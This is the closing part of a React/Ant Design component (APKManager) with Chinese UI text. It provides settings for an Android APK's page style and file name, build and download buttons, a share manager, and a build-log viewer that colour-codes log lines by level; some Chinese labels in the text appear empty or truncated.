showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<InfoCircleOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong>使</Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input.TextArea
value={pageStyleConfig.usageInstructions}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, usageInstructions: e.target.value }))}
placeholder="请输入使用说明文本"
rows={6}
maxLength={500}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<FileOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong>APK文件名</Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Input
value={pageStyleConfig.apkFileName}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, apkFileName: e.target.value }))}
placeholder={`默认: ${getDefaultAPKFileName()}`}
maxLength={50}
showCount
style={{ borderRadius: '8px' }}
suffix={
<Tooltip title="清空使用默认名称">
<Button
type="text"
size="small"
icon={<DeleteOutlined />}
onClick={() => setPageStyleConfig(prev => ({ ...prev, apkFileName: '' }))}
style={{ border: 'none', padding: '0 4px' }}
/>
</Tooltip>
}
/>
<Text type="secondary" style={{ fontSize: '12px' }}>
使: {getDefaultAPKFileName()}.apk
</Text>
</Space>
</Col>
</Row>
<Alert
type="info"
showIcon
message="页面样式说明"
description={
<div>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>Android应用主页的标题位置
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong> \\n
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong>使</strong>
</p>
<p style={{ margin: 0 }}>
<strong>APK文件名</strong>APK文件名使
</p>
</div>
}
style={{
background: 'linear-gradient(135deg, #f6ffed 0%, #f0f9ff 100%)',
border: '1px solid #b7eb8f',
borderRadius: '8px'
}}
/>
</Space>
</div>
)
}
]}
expandIcon={({ isActive }) => <CaretRightOutlined rotate={isActive ? 90 : 0} />}
style={{
background: 'transparent',
border: 'none'
}}
/>
</Card>
{/* 操作按钮区域 */}
<Card style={{
textAlign: 'center',
padding: '40px',
borderRadius: '20px',
background: 'linear-gradient(135deg, #fff 0%, #f8f9ff 100%)',
boxShadow: '0 20px 40px rgba(0,0,0,0.08)',
border: '1px solid rgba(102, 126, 234, 0.1)'
}}>
<Title level={3} style={{ marginBottom: 32, color: '#2c3e50' }}>
🛠
</Title>
<Space size="large">
<Button
type="primary"
size="large"
icon={<BuildOutlined />}
onClick={buildAPK}
loading={building}
disabled={building}
style={{
minWidth: 160,
height: '60px',
fontSize: '18px',
fontWeight: 600,
borderRadius: '12px',
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
border: 'none',
boxShadow: '0 8px 32px rgba(102, 126, 234, 0.3)',
transition: 'all 0.3s ease'
}}
>
{building ? '🔄 构建中...' : '🚀 开始构建'}
</Button>
{data?.apkInfo?.exists && (
<Space direction="vertical" size={8}>
<Button
size="large"
icon={<DownloadOutlined />}
onClick={downloadAPK}
style={{
minWidth: 160,
height: '60px',
fontSize: '18px',
fontWeight: 600,
borderRadius: '12px',
background: 'linear-gradient(135deg, #48dbfb 0%, #0abde3 100%)',
border: 'none',
color: 'white',
boxShadow: '0 8px 32px rgba(72, 219, 251, 0.3)',
transition: 'all 0.3s ease'
}}
>
📥 APK
</Button>
</Space>
)}
</Space>
</Card>
{/* APK 分享管理器 */}
<div style={{ marginTop: 24 }}>
<APKShareManager
serverUrl={serverUrl}
onShareUrlGenerated={(url) => {
setShareUrl(url)
// 可以在这里添加额外的处理逻辑
}}
/>
</div>
{/* 构建日志窗口 */}
<Modal
title={
<Space>
<FileOutlined />
<span></span>
{building && (
<Badge status="processing" text="构建中..." />
)}
</Space>
}
open={logModalVisible}
onCancel={() => setLogModalVisible(false)}
width={900}
footer={[
<Button key="refresh" icon={<SyncOutlined />} onClick={() => fetchBuildLogs(100)} loading={logLoading}>
</Button>,
<Button key="clear" danger icon={<DeleteOutlined />} onClick={clearBuildLogs}>
</Button>,
<Button key="close" onClick={() => setLogModalVisible(false)}>
</Button>
]}
styles={{
body: {
padding: 0,
maxHeight: '70vh',
overflow: 'hidden'
}
}}
>
<div
ref={logContainerRef}
style={{
background: '#1e1e1e',
color: '#d4d4d4',
fontFamily: 'Consolas, Monaco, "Courier New", monospace',
fontSize: '13px',
lineHeight: '1.6',
padding: '16px',
height: '60vh',
overflow: 'auto',
borderRadius: '4px',
position: 'relative'
}}
>
{logLoading && buildLogs.length === 0 ? (
<div style={{ textAlign: 'center', padding: '40px', color: '#888' }}>
<Spin size="large" />
<div style={{ marginTop: 16 }}>...</div>
</div>
) : buildLogs.length === 0 ? (
<div style={{ textAlign: 'center', padding: '40px', color: '#888' }}>
<FileOutlined style={{ fontSize: '48px', marginBottom: 16 }} />
<div></div>
</div>
) : (
<div style={{
whiteSpace: 'pre-wrap',
wordBreak: 'break-word'
}}>
{buildLogs.map((log, index) => {
// 根据日志级别和内容设置颜色
let logColor = '#d4d4d4'
const message = log.message || ''
// 优先使用日志级别
if (log.level === 'error' || log.level === 'ERROR') {
logColor = '#f48771'
} else if (log.level === 'warning' || log.level === 'WARNING' || log.level === 'warn') {
logColor = '#dcdcaa'
} else if (log.level === 'success' || log.level === 'SUCCESS') {
logColor = '#4ec9b0'
} else if (log.level === 'info' || log.level === 'INFO') {
logColor = '#569cd6'
} else {
// 如果没有级别,根据消息内容判断
if (message.includes('错误') || message.includes('error') || message.includes('Error') || message.includes('ERROR') || message.includes('失败') || message.includes('FAIL')) {
logColor = '#f48771'
} else if (message.includes('警告') || message.includes('warning') || message.includes('Warning') || message.includes('WARNING')) {
logColor = '#dcdcaa'
} else if (message.includes('成功') || message.includes('success') || message.includes('Success') || message.includes('SUCCESS') || message.includes('完成')) {
logColor = '#4ec9b0'
} else if (message.includes('信息') || message.includes('info') || message.includes('Info') || message.includes('INFO')) {
logColor = '#569cd6'
}
}
return (
<div
key={index}
style={{
color: logColor,
marginBottom: '2px',
padding: '2px 0',
display: 'flex',
alignItems: 'flex-start',
lineHeight: '1.5'
}}
>
{log.timeString && (
<span style={{
color: '#666',
marginRight: '8px',
fontSize: '11px',
minWidth: '140px',
flexShrink: 0,
fontFamily: 'monospace'
}}>
{log.timeString}
</span>
)}
<span style={{
color: '#888',
marginRight: '8px',
fontSize: '11px',
minWidth: '70px',
flexShrink: 0,
fontWeight: 'bold'
}}>
{log.level ? `[${log.level.toUpperCase()}]` : '[INFO]'}
</span>
<span style={{ flex: 1, wordBreak: 'break-word' }}>
{message}
</span>
</div>
)
})}
</div>
)}
</div>
</Modal>
<style>{`
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
@keyframes pulse {
0% { transform: scale(1); opacity: 1; }
50% { transform: scale(1.05); opacity: 0.8; }
100% { transform: scale(1); opacity: 1; }
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
.hover-effect:hover {
transform: translateY(-4px);
box-shadow: 0 16px 64px rgba(0,0,0,0.15) !important;
}
.ant-card {
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
@media (max-width: 768px) {
.ant-col {
margin-bottom: 16px;
}
.mobile-stack {
flex-direction: column !important;
}
.mobile-center {
text-align: center !important;
}
}
@media (max-width: 1200px) {
.large-screen-spacing {
padding: 16px !important;
}
}
`}</style>
</div>
)
}
export default APKManager